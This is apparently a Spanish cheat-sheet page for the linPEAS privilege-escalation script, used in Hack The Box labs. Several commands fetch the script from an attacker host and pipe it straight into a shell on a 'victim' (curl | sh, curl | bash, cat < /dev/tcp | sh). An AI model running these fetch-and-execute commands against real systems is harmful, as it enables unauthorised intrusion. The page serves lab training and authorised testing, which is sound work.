linPEAS
linPEAS lo comprueba todo y pinta en rojo y amarillo lo que casi seguro es explotable. No sustituye a mirar a mano: úsalo cuando la revisión rápida (sudo -l, SUID, procesos) no da nada y lee con calma su salida.
- Plataforma
- Linux (sh)
- Web oficial
- github.com/peass-ng/PEASS-ng
- En HTB
- 5 máquinas
Instalación
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
- T1548.003 Sudo y su caché
- T1548.001 Setuid y setgid
- T1548 Abuso de mecanismos de elevación
- T1053.003 Cron
- T1068 Explotación para escalar privilegios
- T1552.001 Credenciales en ficheros
- Abuso de sudo
- Binarios SUID
- Linux capabilities
- Tareas cron y procesos
- Exploit de kernel o sistema
- Credenciales en ficheros
Chuleta de linPEAS
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Llevarlo a la víctima
Servirlo desde tu máquina
Atacante
python3 -m http.server 80
Ejecutarlo sin escribir en disco
Víctima
curl -L http://10.10.14.5/linpeas.sh | sh
Sin curl ni wget: por netcat
Atacante
nc -lvnp 9002 < linpeas.sh
En la víctima: cat < /dev/tcp/{{LHOST}}/9002 | sh
Guardar la salida con colores y leerla después
Víctima
./linpeas.sh | tee /tmp/lp.txt
less -R /tmp/lp.txt
En nuestras chuletas
Transferencia de archivos › Linux
wget
Víctima
wget http://10.10.14.5/linpeas.sh -O /tmp/linpeas.sh
curl
Víctima
curl http://10.10.14.5/linpeas.sh -o /tmp/linpeas.sh
Ejecutar sin tocar el disco
Víctima
curl -s http://10.10.14.5/linpeas.sh | bash
Escalada de privilegios en Linux › Comprobaciones
linPEAS
curl -L http://10.10.14.5/linpeas.sh | sh
Descárgalo de github.com/peass-ng/PEASS-ng y sírvelo con python3 -m http.server 80.
Ningún comando coincide.
Máquinas de HTB donde se usa linPEAS
Sacadas de los capítulos de los vídeos de IppSec en los que aparece linPEAS. El enlace ▶ salta al minuto de esa parte.